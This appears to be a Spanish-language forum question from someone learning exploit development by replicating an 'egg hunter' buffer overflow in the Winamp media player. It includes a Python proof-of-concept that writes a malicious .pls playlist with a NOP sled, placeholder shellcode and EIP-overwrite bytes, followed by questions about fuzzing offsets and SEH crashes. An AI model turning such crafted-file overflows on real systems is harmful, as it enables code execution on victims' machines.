Estoy tratando de replicar la explotación "caza de huevos" para el Winmap .
Comencé a usar el código POC provisto (lo reescribí en Python):
__author__ = 'HSN'
#!/usr/bin/python -w
start = "[playlist]\r\nFile1=\\"
#[playlist]\r\nFile1=\\"
nop = "\x90"*856
shellcode ="\xcc"*166
jmp = "\x41"*4+"\x83"*8+"\x90"*4
end="\r\nTitle1=pwnd\r\nLength1=512\r\nNumberOfEntries=1\r\nVersion=2\r\n"
evil = start + nop + shellcode + jmp + end
print len(evil)
f = open("boom.pls", "w")
f.write(evil)
Al aplicar el código anterior, la aplicación se bloquea como se esperaba (se sobrescribe el EIP)
Sin embargo, quería replicar el proceso de fuzzing (al menos para compensar el EIP) Sin embargo, siempre que cambio el contenido de mi búfer (aunque conservo la longitud total y tengo en cuenta los caracteres erróneos), la aplicación se bloquea de forma similar a lo que sucede cuando se sobrescribe SEH.